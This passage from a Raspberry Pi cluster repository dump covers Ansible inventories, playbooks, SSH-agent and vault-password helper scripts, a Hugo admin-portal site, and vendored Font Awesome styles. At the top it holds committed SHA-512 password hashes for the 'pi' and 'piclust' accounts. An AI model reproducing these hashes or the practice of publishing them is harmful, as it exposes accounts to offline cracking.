'$6$rounds=656000$kvg9muhj2hcrVI83$C.ytqCBHtYoTTskR1tj/NDqci1fzeaym/KfCeFilsQJqAXgFOTCaQh/IEE/dlepvNy/v4qGaTnrG6oj320BCh0'}, 11 | {user: 'piclust', hash: '$6$rounds=656000$4toLen6SzTw3sPg5$7PDWuLyOOaPJ3NbWAnAPd4pjdVUKn4ngwDtLX./159/tYmmLA3ArrVaqmJSY2m0AFOz4PskxxNGILlfEy478s/'}, 12 | {user: 'pi', hash: '$6$rounds=656000$d6LtcYGCN1WShRJV$aRPBfdX/SC3v4Ttm64ZUyAUuNbLNYlhHWddldZAhFhW4hUAq8flQQNonUhLm7kV/Jz06ExFt40Yz5rnBUVU1y.'} 13 | ] 14 | 15 | # generating the hashes above, on an Admin machine (stretch or psi): 16 | # 17 | # source ~/env/bin/activate 18 | # set +o history 19 | # ansible localhost -m debug -a "msg={{ 'mypassword' | password_hash('sha512', 'mysalt123') }}" 20 | # set -o history 21 | 22 | #------------------------------------------------------------------------------- 23 | -------------------------------------------------------------------------------- /ansible/setup/defaults/inventory/compute/hosts: -------------------------------------------------------------------------------- 1 | # Hosts ini -------------------------------------------------------------------- 2 | 3 | [compute] 4 | zeta ansible_host=zeta.local rpi_racked=L3 rpi_ip=192.168.10.XX rpi_mac=b8:27:eb:99:XX:XX 5 | epsilon ansible_host=epsilon.local rpi_racked=L4 rpi_ip=192.168.10.XX rpi_mac=b8:27:eb:bf:XX:XX 6 | gamma ansible_host=gamma.local rpi_racked=R3 rpi_ip=192.168.10.XX rpi_mac=b8:27:eb:ad:XX:XX 7 | delta ansible_host=delta.local rpi_racked=R4 rpi_ip=192.168.10.XX rpi_mac=b8:27:eb:31:XX:XX 8 | 9 | # Docker ----------------------------------------------------------------------- 10 | 11 | [docker:children] 12 | docker_master 13 | docker_manager 14 | docker_worker 15 | 16 | [docker_master] 17 | epsilon 18 | 19 | [docker_manager] 20 | delta 21 | 22 | [docker_worker] 23 | delta 24 | gamma 25 | zeta 26 | 27 | #------------------------------------------------------------------------------- 28 | -------------------------------------------------------------------------------- /ansible/setup/defaults/inventory/deploy/hosts: -------------------------------------------------------------------------------- 1 | # Hosts ini -------------------------------------------------------------------- 2 | 3 | [deploy] 4 | psi ansible_connection=local 5 | 6 | #------------------------------------------------------------------------------- 7 | -------------------------------------------------------------------------------- /ansible/setup/defaults/inventory/lanservices/hosts: -------------------------------------------------------------------------------- 1 | # Hosts ini -------------------------------------------------------------------- 2 | 3 | [lanservices] 4 | alpha 5 | beta 6 | 7 | # NTP -------------------------------------------------------------------------- 8 | 9 | [ntpd:children] 10 | ntpserver 11 | 12 | [ntpserver] 13 | alpha 14 | beta 15 | 16 | #------------------------------------------------------------------------------- 17 | -------------------------------------------------------------------------------- /ansible/setup/readme.md: -------------------------------------------------------------------------------- 1 | # setup/ 2 | 3 | Scripts + Files used to setup the Deployer node. 4 | 5 | Running `install-deploy-tools.sh` is the very first action in setting up a Deployer node. 6 | 7 | Afer completion you can create a new cluster configuraiton, or restore from backup. -------------------------------------------------------------------------------- /ansible/site.yml: -------------------------------------------------------------------------------- 1 | --- 2 | # rpi_cluster master playbook. Usage: 3 | # 4 | # $ ansible-playbook site.yml 5 | # 6 | - import_playbook: playbook-rpi-deployer.yml 7 | - import_playbook: playbook-rpi-lanservices.yml 8 | - import_playbook: playbook-rpi-compute.yml 9 | - import_playbook: playbook-rpi-compute-k3s.yml 10 | - import_playbook: playbook-rpi-all-maint.yml 11 | -------------------------------------------------------------------------------- /ansible/ssh_to_host.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # name: ssh_agent_load.sh 4 | # desc: add password to ssh keyfile automatically and then connect to the host. 5 | # 6 | # use: 7 | # ./ssh_agent_load.sh alpha 8 | # echo uptime | ./ssh_to_host.sh alpha 9 | 10 | 11 | if [ $# -eq 0 ]; then 12 | echo "error no host specified." 13 | exit 1; 14 | fi 15 | 16 | rpilogit () { 17 | echo -e "rpicluster: $1 \n"; 18 | logger -t rpicluster "$1"; 19 | } 20 | 21 | # get ssh key password from pass 22 | pass=$(pass ssh/id_ecdsa) 23 | 24 | # check expect is installed 25 | which expect || { echo "ERROR missing Expect"; exit 1; } 26 | 27 | # check we have a password 28 | pass_leng=$(echo $pass | wc -c) 29 | if [ ${pass_leng} -lt 10 ]; then 30 | echo "password too short" 31 | exit 1; 32 | else 33 | # start ssh-agent 34 | eval `ssh-agent` 35 | fi 36 | 37 | rpilogit "ssh_to_host.sh on: $1"; 38 | 39 | # enter ssh-key password into agent 40 | expect << EOF 41 | spawn ssh-add /home/pi/.ssh/id_ecdsa 42 | expect "Enter passphrase for /home/pi/.ssh/id_ecdsa:" 43 | send "$pass\r" 44 | expect eof 45 | EOF 46 | 47 | pass="x"; 48 | 49 | # connect to host 50 | ssh $1; 51 | 52 | # close ssh-agent 53 | eval `ssh-agent -k` 54 | 55 | echo done; 56 | -------------------------------------------------------------------------------- /ansible/vault_pass.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # script to get ansible vault password, this script is called from 4 | # the vault_password_file option in ansible.cfg 5 | # 6 | # instead of using --vault-password-file with ansiblie on command line. 7 | 8 | # https://www.passwordstore.org/ 9 | 10 | /usr/bin/pass ansible/vault/current 11 | 12 | if [ $? -eq 1 ]; then 13 | echo "ERROR: missing ansible vault pass"; 14 | exit 1; 15 | fi 16 | -------------------------------------------------------------------------------- /code/hugo-site/archetypes/default.md: -------------------------------------------------------------------------------- 1 | +++ 2 | title = "{{ replace .TranslationBaseName "-" " " | title }}" 3 | date = {{ .Date }} 4 | tags = ["x", "y"] 5 | categories = ["x", "y"] 6 | 7 | +++ 8 | -------------------------------------------------------------------------------- /code/hugo-site/config.toml: -------------------------------------------------------------------------------- 1 | title = "R-Pi Cluster portal" 2 | baseURL = "" 3 | buildDrafts = false 4 | theme = "berrycluster" 5 | copyright = "Nope" 6 | 7 | [author] 8 | name = "crgm" 9 | email = "crgm@crgm.net" 10 | 11 | [taxonomies] 12 | category = "categories" 13 | tag = "tags" 14 | 15 | [params] 16 | description = "Local blog for my Pi cluster." 17 | author = "crgm" 18 | debug_page_name = false 19 | 20 | [[menu.main]] 21 | name = "lanservice" 22 | pre = "" 23 | weight = -100 24 | url = "/lanservice/" 25 | [[menu.main]] 26 | name = "serverspec" 27 | pre = "" 28 | weight = -100 29 | url = "/serverspec/" 30 | [[menu.main]] 31 | name = "compute" 32 | pre = "" 33 | weight = -100 34 | url = "/compute/" 35 | [[menu.main]] 36 | name = "about" 37 | pre = "" 38 | weight = -100 39 | url = "/about/" 40 | -------------------------------------------------------------------------------- /code/hugo-site/content/compute/index.html: -------------------------------------------------------------------------------- 1 | +++ 2 | title = "compute" 3 | tags = ["compute"] 4 | categories = ["compute"] 5 | +++ 6 | 7 |

Compute nodes

8 | 9 |
10 |
11 |
12 |
13 |

gamma

14 |

15 |
16 |
17 |
18 |
19 |
20 |
21 |

delta

22 |

23 |
24 |
25 |
26 |
27 |

28 |
29 |
30 |
31 |
32 |

epsilon

33 |

34 |
35 |
36 |
37 |
38 |
39 |
40 |

zeta

41 |

42 |
43 |
44 |
45 |
46 | -------------------------------------------------------------------------------- /code/hugo-site/content/index.md: -------------------------------------------------------------------------------- 1 | +++ 2 | title = "home" 3 | 4 | +++ 5 | 6 |
7 | 8 |
9 |
10 | -------------------------------------------------------------------------------- /code/hugo-site/content/lanservice/index.html: -------------------------------------------------------------------------------- 1 | +++ 2 | title = "lanservice" 3 | tags = ["lanservice"] 4 | categories = ["lanservice"] 5 | +++ 6 | 7 |

8 |

LanService nodes

9 |

10 |
11 |
alpha
12 |
13 | 19 |
20 | 21 |

 

22 | 23 |
24 |
beta
25 |
26 | 32 |
33 | 34 |

 

35 | -------------------------------------------------------------------------------- /code/hugo-site/content/reports/index.html: -------------------------------------------------------------------------------- 1 | +++ 2 | title = "reports" 3 | tags = ["reports"] 4 | categories = ["reports"] 5 | +++ 6 | 7 |

reports

8 | -------------------------------------------------------------------------------- /code/hugo-site/content/serverspec/reports/index.md: -------------------------------------------------------------------------------- 1 | +++ 2 | title = "reports" 3 | 4 | +++ 5 | 6 | report 7 | -------------------------------------------------------------------------------- /code/hugo-site/i18n/default.toml: -------------------------------------------------------------------------------- 1 | [wordCount] 2 | other = "{{ .WordCount }} words" 3 | -------------------------------------------------------------------------------- /code/hugo-site/i18n/en.toml: -------------------------------------------------------------------------------- 1 | [wordCount] 2 | other = "{{ .WordCount }} words" 3 | -------------------------------------------------------------------------------- /code/hugo-site/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "rpi-hugo-site", 3 | "version": "0.1.0", 4 | "description": "rpi admin portal", 5 | "main": "index.html", 6 | "scripts": { 7 | "test": "true", 8 | "assets-bootstrap": "cp -av -- node_modules/bootstrap/dist/ static/;", 9 | "assets-jquery": "cp -av -- node_modules/jquery/dist/ static/js/", 10 | "assets-fontawesome": "cp -av -- node_modules/font-awesome/ static/" 11 | }, 12 | "author": "crgm", 13 | "license": "ISC", 14 | "dependencies": { 15 | "bootstrap": ">=4.3.1", 16 | "font-awesome": "^=5.0.0" 17 | }, 18 | "devDependencies": { 19 | "jquery": "^3=.4.1", 20 | "node-sass": "^=4.5.3", 21 | "onchange": "^3.2.1", 22 | "pm2": "^2.5.0" 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /code/hugo-site/readme.md: -------------------------------------------------------------------------------- 1 | 2 | A website made with Hugo. 3 | 4 | Requires: 5 | * Hugo - https://gohugo.io/ 6 | * Yarn - https://yarnpkg.com/en/ 7 | * Node/NPM - https://www.npmjs.com/ 8 | 9 | Site made with: bootstrap + jquery + font-awesome. -------------------------------------------------------------------------------- /code/hugo-site/static/.npmignore: -------------------------------------------------------------------------------- 1 | *.pyc 2 | *.egg-info 3 | *.db 4 | *.db.old 5 | *.swp 6 | *.db-journal 7 | 8 | .coverage 9 | .DS_Store 10 | .installed.cfg 11 | _gh_pages/* 12 | 13 | .idea/* 14 | .svn/* 15 | src/website/static/* 16 | src/website/media/* 17 | 18 | bin 19 | cfcache 20 | develop-eggs 21 | dist 22 | downloads 23 | eggs 24 | parts 25 | tmp 26 | .sass-cache 27 | node_modules 28 | 29 | src/website/settingslocal.py 30 | stunnel.log 31 | 32 | .ruby-version 33 | 34 | # don't need these in the npm package. 35 | src/ 36 | _config.yml 37 | bower.json 38 | component.json 39 | composer.json 40 | CONTRIBUTING.md 41 | Gemfile 42 | Gemfile.lock 43 | -------------------------------------------------------------------------------- /code/hugo-site/static/HELP-US-OUT.txt: -------------------------------------------------------------------------------- 1 | I hope you love Font Awesome. If you've found it useful, please do me a favor and check out my latest project, 2 | Fort Awesome (https://fortawesome.com). It makes it easy to put the perfect icons on your website. Choose from our awesome, 3 | comprehensive icon sets or copy and paste your own. 4 | 5 | Please. Check it out. 6 | 7 | -Dave Gandy 8 | -------------------------------------------------------------------------------- /code/hugo-site/static/css/tether-theme-basic.css: -------------------------------------------------------------------------------- 1 | .tether-element, .tether-element:after, .tether-element:before, .tether-element *, .tether-element *:after, .tether-element *:before { 2 | box-sizing: border-box; } 3 | 4 | .tether-element { 5 | position: absolute; 6 | display: none; } 7 | .tether-element.tether-open { 8 | display: block; } 9 | 10 | .tether-element.tether-theme-basic { 11 | max-width: 100%; 12 | max-height: 100%; } 13 | .tether-element.tether-theme-basic .tether-content { 14 | border-radius: 5px; 15 | box-shadow: 0 2px 8px rgba(0, 0, 0, 0.2); 16 | font-family: inherit; 17 | background: #fff; 18 | color: inherit; 19 | padding: 1em; 20 | font-size: 1.1em; 21 | line-height: 1.5em; } 22 | -------------------------------------------------------------------------------- /code/hugo-site/static/css/tether-theme-basic.min.css: -------------------------------------------------------------------------------- 1 | .tether-element,.tether-element *,.tether-element :after,.tether-element :before,.tether-element:after,.tether-element:before{box-sizing:border-box}.tether-element{position:absolute;display:none}.tether-element.tether-open{display:block}.tether-element.tether-theme-basic{max-width:100%;max-height:100%}.tether-element.tether-theme-basic .tether-content{border-radius:5px;box-shadow:0 2px 8px rgba(0,0,0,.2);font-family:inherit;background:#fff;color:inherit;padding:1em;font-size:1.1em;line-height:1.5em} -------------------------------------------------------------------------------- /code/hugo-site/static/css/tether.css: -------------------------------------------------------------------------------- 1 | .tether-element, .tether-element:after, .tether-element:before, .tether-element *, .tether-element *:after, .tether-element *:before { 2 | box-sizing: border-box; } 3 | 4 | .tether-element { 5 | position: absolute; 6 | display: none; } 7 | .tether-element.tether-open { 8 | display: block; } 9 | -------------------------------------------------------------------------------- /code/hugo-site/static/css/tether.min.css: -------------------------------------------------------------------------------- 1 | .tether-element,.tether-element *,.tether-element :after,.tether-element :before,.tether-element:after,.tether-element:before{box-sizing:border-box}.tether-element{position:absolute;display:none}.tether-element.tether-open{display:block} -------------------------------------------------------------------------------- /code/hugo-site/static/fonts/FontAwesome.otf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/craig-m/rpi_cluster/7f1027e7405191fe70c74355dff211be1ea4536d/code/hugo-site/static/fonts/FontAwesome.otf -------------------------------------------------------------------------------- /code/hugo-site/static/fonts/fontawesome-webfont.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/craig-m/rpi_cluster/7f1027e7405191fe70c74355dff211be1ea4536d/code/hugo-site/static/fonts/fontawesome-webfont.eot -------------------------------------------------------------------------------- /code/hugo-site/static/fonts/fontawesome-webfont.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/craig-m/rpi_cluster/7f1027e7405191fe70c74355dff211be1ea4536d/code/hugo-site/static/fonts/fontawesome-webfont.ttf -------------------------------------------------------------------------------- /code/hugo-site/static/fonts/fontawesome-webfont.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/craig-m/rpi_cluster/7f1027e7405191fe70c74355dff211be1ea4536d/code/hugo-site/static/fonts/fontawesome-webfont.woff -------------------------------------------------------------------------------- /code/hugo-site/static/fonts/fontawesome-webfont.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/craig-m/rpi_cluster/7f1027e7405191fe70c74355dff211be1ea4536d/code/hugo-site/static/fonts/fontawesome-webfont.woff2 -------------------------------------------------------------------------------- /code/hugo-site/static/img/rasp-logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/craig-m/rpi_cluster/7f1027e7405191fe70c74355dff211be1ea4536d/code/hugo-site/static/img/rasp-logo.png -------------------------------------------------------------------------------- /code/hugo-site/static/js/css/tether-theme-basic.css: -------------------------------------------------------------------------------- 1 | .tether-element, .tether-element:after, .tether-element:before, .tether-element *, .tether-element *:after, .tether-element *:before { 2 | box-sizing: border-box; } 3 | 4 | .tether-element { 5 | position: absolute; 6 | display: none; } 7 | .tether-element.tether-open { 8 | display: block; } 9 | 10 | .tether-element.tether-theme-basic { 11 | max-width: 100%; 12 | max-height: 100%; } 13 | .tether-element.tether-theme-basic .tether-content { 14 | border-radius: 5px; 15 | box-shadow: 0 2px 8px rgba(0, 0, 0, 0.2); 16 | font-family: inherit; 17 | background: #fff; 18 | color: inherit; 19 | padding: 1em; 20 | font-size: 1.1em; 21 | line-height: 1.5em; } 22 | -------------------------------------------------------------------------------- /code/hugo-site/static/js/css/tether-theme-basic.min.css: -------------------------------------------------------------------------------- 1 | .tether-element,.tether-element *,.tether-element :after,.tether-element :before,.tether-element:after,.tether-element:before{box-sizing:border-box}.tether-element{position:absolute;display:none}.tether-element.tether-open{display:block}.tether-element.tether-theme-basic{max-width:100%;max-height:100%}.tether-element.tether-theme-basic .tether-content{border-radius:5px;box-shadow:0 2px 8px rgba(0,0,0,.2);font-family:inherit;background:#fff;color:inherit;padding:1em;font-size:1.1em;line-height:1.5em} -------------------------------------------------------------------------------- /code/hugo-site/static/js/css/tether.css: -------------------------------------------------------------------------------- 1 | .tether-element, .tether-element:after, .tether-element:before, .tether-element *, .tether-element *:after, .tether-element *:before { 2 | box-sizing: border-box; } 3 | 4 | .tether-element { 5 | position: absolute; 6 | display: none; } 7 | .tether-element.tether-open { 8 | display: block; } 9 | -------------------------------------------------------------------------------- /code/hugo-site/static/js/css/tether.min.css: -------------------------------------------------------------------------------- 1 | .tether-element,.tether-element *,.tether-element :after,.tether-element :before,.tether-element:after,.tether-element:before{box-sizing:border-box}.tether-element{position:absolute;display:none}.tether-element.tether-open{display:block} -------------------------------------------------------------------------------- /code/hugo-site/static/less/animated.less: -------------------------------------------------------------------------------- 1 | // Animated Icons 2 | // -------------------------- 3 | 4 | .@{fa-css-prefix}-spin { 5 | -webkit-animation: fa-spin 2s infinite linear; 6 | animation: fa-spin 2s infinite linear; 7 | } 8 | 9 | .@{fa-css-prefix}-pulse { 10 | -webkit-animation: fa-spin 1s infinite steps(8); 11 | animation: fa-spin 1s infinite steps(8); 12 | } 13 | 14 | @-webkit-keyframes fa-spin { 15 | 0% { 16 | -webkit-transform: rotate(0deg); 17 | transform: rotate(0deg); 18 | } 19 | 100% { 20 | -webkit-transform: rotate(359deg); 21 | transform: rotate(359deg); 22 | } 23 | } 24 | 25 | @keyframes fa-spin { 26 | 0% { 27 | -webkit-transform: rotate(0deg); 28 | transform: rotate(0deg); 29 | } 30 | 100% { 31 | -webkit-transform: rotate(359deg); 32 | transform: rotate(359deg); 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /code/hugo-site/static/less/bordered-pulled.less: -------------------------------------------------------------------------------- 1 | // Bordered & Pulled 2 | // ------------------------- 3 | 4 | .@{fa-css-prefix}-border { 5 | padding: .2em .25em .15em; 6 | border: solid .08em @fa-border-color; 7 | border-radius: .1em; 8 | } 9 | 10 | .@{fa-css-prefix}-pull-left { float: left; } 11 | .@{fa-css-prefix}-pull-right { float: right; } 12 | 13 | .@{fa-css-prefix} { 14 | &.@{fa-css-prefix}-pull-left { margin-right: .3em; } 15 | &.@{fa-css-prefix}-pull-right { margin-left: .3em; } 16 | } 17 | 18 | /* Deprecated as of 4.4.0 */ 19 | .pull-right { float: right; } 20 | .pull-left { float: left; } 21 | 22 | .@{fa-css-prefix} { 23 | &.pull-left { margin-right: .3em; } 24 | &.pull-right { margin-left: .3em; } 25 | } 26 | -------------------------------------------------------------------------------- /code/hugo-site/static/less/core.less: -------------------------------------------------------------------------------- 1 | // Base Class Definition 2 | // ------------------------- 3 | 4 | .@{fa-css-prefix} { 5 | display: inline-block; 6 | font: normal normal normal @fa-font-size-base/@fa-line-height-base FontAwesome; // shortening font declaration 7 | font-size: inherit; // can't have font-size inherit on line above, so need to override 8 | text-rendering: auto; // optimizelegibility throws things off #1094 9 | -webkit-font-smoothing: antialiased; 10 | -moz-osx-font-smoothing: grayscale; 11 | 12 | } 13 | -------------------------------------------------------------------------------- /code/hugo-site/static/less/fixed-width.less: -------------------------------------------------------------------------------- 1 | // Fixed Width Icons 2 | // ------------------------- 3 | .@{fa-css-prefix}-fw { 4 | width: (18em / 14); 5 | text-align: center; 6 | } 7 | -------------------------------------------------------------------------------- /code/hugo-site/static/less/font-awesome.less: -------------------------------------------------------------------------------- 1 | /*! 2 | * Font Awesome 4.7.0 by @davegandy - http://fontawesome.io - @fontawesome 3 | * License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License) 4 | */ 5 | 6 | @import "variables.less"; 7 | @import "mixins.less"; 8 | @import "path.less"; 9 | @import "core.less"; 10 | @import "larger.less"; 11 | @import "fixed-width.less"; 12 | @import "list.less"; 13 | @import "bordered-pulled.less"; 14 | @import "animated.less"; 15 | @import "rotated-flipped.less"; 16 | @import "stacked.less"; 17 | @import "icons.less"; 18 | @import "screen-reader.less"; 19 | -------------------------------------------------------------------------------- /code/hugo-site/static/less/larger.less: -------------------------------------------------------------------------------- 1 | // Icon Sizes 2 | // ------------------------- 3 | 4 | /* makes the font 33% larger relative to the icon container */ 5 | .@{fa-css-prefix}-lg { 6 | font-size: (4em / 3); 7 | line-height: (3em / 4); 8 | vertical-align: -15%; 9 | } 10 | .@{fa-css-prefix}-2x { font-size: 2em; } 11 | .@{fa-css-prefix}-3x { font-size: 3em; } 12 | .@{fa-css-prefix}-4x { font-size: 4em; } 13 | .@{fa-css-prefix}-5x { font-size: 5em; } 14 | -------------------------------------------------------------------------------- /code/hugo-site/static/less/list.less: -------------------------------------------------------------------------------- 1 | // List Icons 2 | // ------------------------- 3 | 4 | .@{fa-css-prefix}-ul { 5 | padding-left: 0; 6 | margin-left: @fa-li-width; 7 | list-style-type: none; 8 | > li { position: relative; } 9 | } 10 | .@{fa-css-prefix}-li { 11 | position: absolute; 12 | left: -@fa-li-width; 13 | width: @fa-li-width; 14 | top: (2em / 14); 15 | text-align: center; 16 | &.@{fa-css-prefix}-lg { 17 | left: (-@fa-li-width + (4em / 14)); 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /code/hugo-site/static/less/path.less: -------------------------------------------------------------------------------- 1 | /* FONT PATH 2 | * -------------------------- */ 3 | 4 | @font-face { 5 | font-family: 'FontAwesome'; 6 | src: url('@{fa-font-path}/fontawesome-webfont.eot?v=@{fa-version}'); 7 | src: url('@{fa-font-path}/fontawesome-webfont.eot?#iefix&v=@{fa-version}') format('embedded-opentype'), 8 | url('@{fa-font-path}/fontawesome-webfont.woff2?v=@{fa-version}') format('woff2'), 9 | url('@{fa-font-path}/fontawesome-webfont.woff?v=@{fa-version}') format('woff'), 10 | url('@{fa-font-path}/fontawesome-webfont.ttf?v=@{fa-version}') format('truetype'), 11 | url('@{fa-font-path}/fontawesome-webfont.svg?v=@{fa-version}#fontawesomeregular') format('svg'); 12 | // src: url('@{fa-font-path}/FontAwesome.otf') format('opentype'); // used when developing fonts 13 | font-weight: normal; 14 | font-style: normal; 15 | } 16 | -------------------------------------------------------------------------------- /code/hugo-site/static/less/rotated-flipped.less: -------------------------------------------------------------------------------- 1 | // Rotated & Flipped Icons 2 | // ------------------------- 3 | 4 | .@{fa-css-prefix}-rotate-90 { .fa-icon-rotate(90deg, 1); } 5 | .@{fa-css-prefix}-rotate-180 { .fa-icon-rotate(180deg, 2); } 6 | .@{fa-css-prefix}-rotate-270 { .fa-icon-rotate(270deg, 3); } 7 | 8 | .@{fa-css-prefix}-flip-horizontal { .fa-icon-flip(-1, 1, 0); } 9 | .@{fa-css-prefix}-flip-vertical { .fa-icon-flip(1, -1, 2); } 10 | 11 | // Hook for IE8-9 12 | // ------------------------- 13 | 14 | :root .@{fa-css-prefix}-rotate-90, 15 | :root .@{fa-css-prefix}-rotate-180, 16 | :root .@{fa-css-prefix}-rotate-270, 17 | :root .@{fa-css-prefix}-flip-horizontal, 18 | :root .@{fa-css-prefix}-flip-vertical { 19 | filter: none; 20 | } 21 | -------------------------------------------------------------------------------- /code/hugo-site/static/less/screen-reader.less: -------------------------------------------------------------------------------- 1 | // Screen Readers 2 | // ------------------------- 3 | 4 | .sr-only { .sr-only(); } 5 | .sr-only-focusable { .sr-only-focusable(); } 6 | -------------------------------------------------------------------------------- /code/hugo-site/static/less/stacked.less: -------------------------------------------------------------------------------- 1 | // Stacked Icons 2 | // ------------------------- 3 | 4 | .@{fa-css-prefix}-stack { 5 | position: relative; 6 | display: inline-block; 7 | width: 2em; 8 | height: 2em; 9 | line-height: 2em; 10 | vertical-align: middle; 11 | } 12 | .@{fa-css-prefix}-stack-1x, .@{fa-css-prefix}-stack-2x { 13 | position: absolute; 14 | left: 0; 15 | width: 100%; 16 | text-align: center; 17 | } 18 | .@{fa-css-prefix}-stack-1x { line-height: inherit; } 19 | .@{fa-css-prefix}-stack-2x { font-size: 2em; } 20 | .@{fa-css-prefix}-inverse { color: @fa-inverse; } 21 | -------------------------------------------------------------------------------- /code/hugo-site/static/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "font-awesome", 3 | "description": "The iconic font and CSS framework", 4 | "version": "4.7.0", 5 | "style": "css/font-awesome.css", 6 | "keywords": ["font", "awesome", "fontawesome", "icon", "font", "bootstrap"], 7 | "homepage": "http://fontawesome.io/", 8 | "bugs": { 9 | "url" : "http://github.com/FortAwesome/Font-Awesome/issues" 10 | }, 11 | "author": { 12 | "name": "Dave Gandy", 13 | "email": "dave@fontawesome.io", 14 | "web": "http://twitter.com/davegandy" 15 | }, 16 | "repository": { 17 | "type": "git", 18 | "url": "https://github.com/FortAwesome/Font-Awesome.git" 19 | }, 20 | "contributors": [ 21 | { 22 | "name": "Brian Talbot", 23 | "web": "http://twitter.com/talbs" 24 | }, 25 | { 26 | "name": "Travis Chase", 27 | "web": "http://twitter.com/supercodepoet" 28 | }, 29 | { 30 | "name": "Rob Madole", 31 | "web": "http://twitter.com/robmadole" 32 | }, 33 | { 34 | "name": "Geremia Taglialatela", 35 | "web": "http://twitter.com/gtagliala" 36 | } 37 | ], 38 | "license": "(OFL-1.1 AND MIT)", 39 | "dependencies": { 40 | }, 41 | "engines" : { 42 | "node" : ">=0.10.3" 43 | } 44 | } 45 | -------------------------------------------------------------------------------- /code/hugo-site/static/scss/_animated.scss: -------------------------------------------------------------------------------- 1 | // Spinning Icons 2 | // -------------------------- 3 | 4 | .#{$fa-css-prefix}-spin { 5 | -webkit-animation: fa-spin 2s infinite linear; 6 | animation: fa-spin 2s infinite linear; 7 | } 8 | 9 | .#{$fa-css-prefix}-pulse { 10 | -webkit-animation: fa-spin 1s infinite steps(8); 11 | animation: fa-spin 1s infinite steps(8); 12 | } 13 | 14 | @-webkit-keyframes fa-spin { 15 | 0% { 16 | -webkit-transform: rotate(0deg); 17 | transform: rotate(0deg); 18 | } 19 | 100% { 20 | -webkit-transform: rotate(359deg); 21 | transform: rotate(359deg); 22 | } 23 | } 24 | 25 | @keyframes fa-spin { 26 | 0% { 27 | -webkit-transform: rotate(0deg); 28 | transform: rotate(0deg); 29 | } 30 | 100% { 31 | -webkit-transform: rotate(359deg); 32 | transform: rotate(359deg); 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /code/hugo-site/static/scss/_bordered-pulled.scss: -------------------------------------------------------------------------------- 1 | // Bordered & Pulled 2 | // ------------------------- 3 | 4 | .#{$fa-css-prefix}-border { 5 | padding: .2em .25em .15em; 6 | border: solid .08em $fa-border-color; 7 | border-radius: .1em; 8 | } 9 | 10 | .#{$fa-css-prefix}-pull-left { float: left; } 11 | .#{$fa-css-prefix}-pull-right { float: right; } 12 | 13 | .#{$fa-css-prefix} { 14 | &.#{$fa-css-prefix}-pull-left { margin-right: .3em; } 15 | &.#{$fa-css-prefix}-pull-right { margin-left: .3em; } 16 | } 17 | 18 | /* Deprecated as of 4.4.0 */ 19 | .pull-right { float: right; } 20 | .pull-left { float: left; } 21 | 22 | .#{$fa-css-prefix} { 23 | &.pull-left { margin-right: .3em; } 24 | &.pull-right { margin-left: .3em; } 25 | } 26 | -------------------------------------------------------------------------------- /code/hugo-site/static/scss/_core.scss: -------------------------------------------------------------------------------- 1 | // Base Class Definition 2 | // ------------------------- 3 | 4 | .#{$fa-css-prefix} { 5 | display: inline-block; 6 | font: normal normal normal #{$fa-font-size-base}/#{$fa-line-height-base} FontAwesome; // shortening font declaration 7 | font-size: inherit; // can't have font-size inherit on line above, so need to override 8 | text-rendering: auto; // optimizelegibility throws things off #1094 9 | -webkit-font-smoothing: antialiased; 10 | -moz-osx-font-smoothing: grayscale; 11 | 12 | } 13 | -------------------------------------------------------------------------------- /code/hugo-site/static/scss/_fixed-width.scss: -------------------------------------------------------------------------------- 1 | // Fixed Width Icons 2 | // ------------------------- 3 | .#{$fa-css-prefix}-fw { 4 | width: (18em / 14); 5 | text-align: center; 6 | } 7 | -------------------------------------------------------------------------------- /code/hugo-site/static/scss/_larger.scss: -------------------------------------------------------------------------------- 1 | // Icon Sizes 2 | // ------------------------- 3 | 4 | /* makes the font 33% larger relative to the icon container */ 5 | .#{$fa-css-prefix}-lg { 6 | font-size: (4em / 3); 7 | line-height: (3em / 4); 8 | vertical-align: -15%; 9 | } 10 | .#{$fa-css-prefix}-2x { font-size: 2em; } 11 | .#{$fa-css-prefix}-3x { font-size: 3em; } 12 | .#{$fa-css-prefix}-4x { font-size: 4em; } 13 | .#{$fa-css-prefix}-5x { font-size: 5em; } 14 | -------------------------------------------------------------------------------- /code/hugo-site/static/scss/_list.scss: -------------------------------------------------------------------------------- 1 | // List Icons 2 | // ------------------------- 3 | 4 | .#{$fa-css-prefix}-ul { 5 | padding-left: 0; 6 | margin-left: $fa-li-width; 7 | list-style-type: none; 8 | > li { position: relative; } 9 | } 10 | .#{$fa-css-prefix}-li { 11 | position: absolute; 12 | left: -$fa-li-width; 13 | width: $fa-li-width; 14 | top: (2em / 14); 15 | text-align: center; 16 | &.#{$fa-css-prefix}-lg { 17 | left: -$fa-li-width + (4em / 14); 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /code/hugo-site/static/scss/_path.scss: -------------------------------------------------------------------------------- 1 | /* FONT PATH 2 | * -------------------------- */ 3 | 4 | @font-face { 5 | font-family: 'FontAwesome'; 6 | src: url('#{$fa-font-path}/fontawesome-webfont.eot?v=#{$fa-version}'); 7 | src: url('#{$fa-font-path}/fontawesome-webfont.eot?#iefix&v=#{$fa-version}') format('embedded-opentype'), 8 | url('#{$fa-font-path}/fontawesome-webfont.woff2?v=#{$fa-version}') format('woff2'), 9 | url('#{$fa-font-path}/fontawesome-webfont.woff?v=#{$fa-version}') format('woff'), 10 | url('#{$fa-font-path}/fontawesome-webfont.ttf?v=#{$fa-version}') format('truetype'), 11 | url('#{$fa-font-path}/fontawesome-webfont.svg?v=#{$fa-version}#fontawesomeregular') format('svg'); 12 | // src: url('#{$fa-font-path}/FontAwesome.otf') format('opentype'); // used when developing fonts 13 | font-weight: normal; 14 | font-style: normal; 15 | } 16 | -------------------------------------------------------------------------------- /code/hugo-site/static/scss/_rotated-flipped.scss: -------------------------------------------------------------------------------- 1 | // Rotated & 